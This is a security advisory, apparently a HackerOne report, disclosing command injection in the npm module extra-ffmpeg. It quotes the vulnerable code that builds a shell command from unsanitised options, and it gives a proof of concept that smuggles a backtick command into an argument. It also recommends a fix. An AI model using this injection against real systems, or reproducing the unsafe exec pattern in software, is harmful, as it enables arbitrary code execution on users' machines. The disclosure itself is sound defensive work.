Lucene search

K
hackeroneD3llaH1:863944
HistoryMay 01, 2020 - 11:15 a.m.

Node.js third-party modules: [extra-ffmpeg] Command Injection via insecure command formatting

2020-05-0111:15:06
d3lla
hackerone.com
11

I would like to report a Command Injection issue in the extra-ffmpeg module.
It allows to execute arbitrary commands on the victim’s PC.

Module

module name: extra-ffmpegversion:4.0.3npm page: https://www.npmjs.com/package/extra-ffmpeg

Module Description

Decode, encode, transcode, mux, demux, stream, filter, and play media through machine (via “ffmpeg”).

Module Stats

[99] weekly downloads

Vulnerability

Vulnerability Description

The issue occurs because a user input parameter is used inside a command that is executed without any check.

Here’s the code which causes the issue:

// https://github.com/nodef/extra-ffmpeg/blob/master/index.js#L19
const cp = require('child_process');


// Global variables.
const STDIO = [0, 1, 2];


 // Generate command for ffmpeg.
 function command(os) {
  var z = 'ffmpeg';
  var os = os||[];
  for(var o of os) {
    var o = o||{};
    for(var k in o) {
      if(o[k]==null) continue;
      if(k==='stdio') continue;
      if(k==='o' || k==='outfile') z += ` "${o[k]}"`;
      else if(typeof o[k]==='boolean') z += o[k]? ` -${k}`:'';
      else z += ` -${k} ${JSON.stringify(o[k])}`;  // <-- injection
    }
  }
  return z;
};

/**
 * Invoke "ffmpeg" synchronously.
 * @param {object} os ffmpeg options.
 */
function sync(os) {
  var stdio = os.stdio===undefined? STDIO:os.stdio;
  return cp.execSync(command(os), {stdio});
};

/**
 * Invoke "ffmpeg" asynchronously.
 * @param {object} os ffmpeg options.
 */
function ffmpeg(os) {
  var stdio = os.stdio===undefined? STDIO:os.stdio;
  return new Promise((fres, frej) => cp.exec(command(os), {stdio}, (err, stdout, stderr) => {
    if(err) frej(err);
    else fres({stdout, stderr});
  }));
};
ffmpeg.sync = sync;
module.exports = ffmpeg;

The os parameter contains the option parameters for the command ffmpeg.
The final command that is passed to the child_process.exec function is built formatting the options value without any check.

Steps To Reproduce:

  • create a directory for testing

    • mkdir poc
    • cd poc/
  • install extra-ffmpeg module:

    • npm i extra-ffmpeg
  • create the following PoC JavaScript file (poc.js):

const ffmpeg = require('extra-ffmpeg');
ffmpeg.sync([{y: true}, {i: '`touch HACKED`'}, {acodec: 'copy', o: 'aud.mp3'}]);

  • make sure that the HACKED file does not exist:
    • ls
  • execute the poc.js file:
    • node poc.js
  • the HACKED file is created:
    • ls

{F810821}

Patch

Do not concatenate/format commands using insecure user’s input. Always check and sanitize it.
In my opinion, it’s better to use child_process.execFile or child_process.spawn functions instead of child_process.exec.

Supporting Material/References:

  • OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
  • NODEJS VERSION: v13.13.0
  • NPM VERSION: 6.14.4

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Thank you for your time.

best regards,

d3lla

Impact

Command Injection on extra-ffmpeg module via insecure command formatting.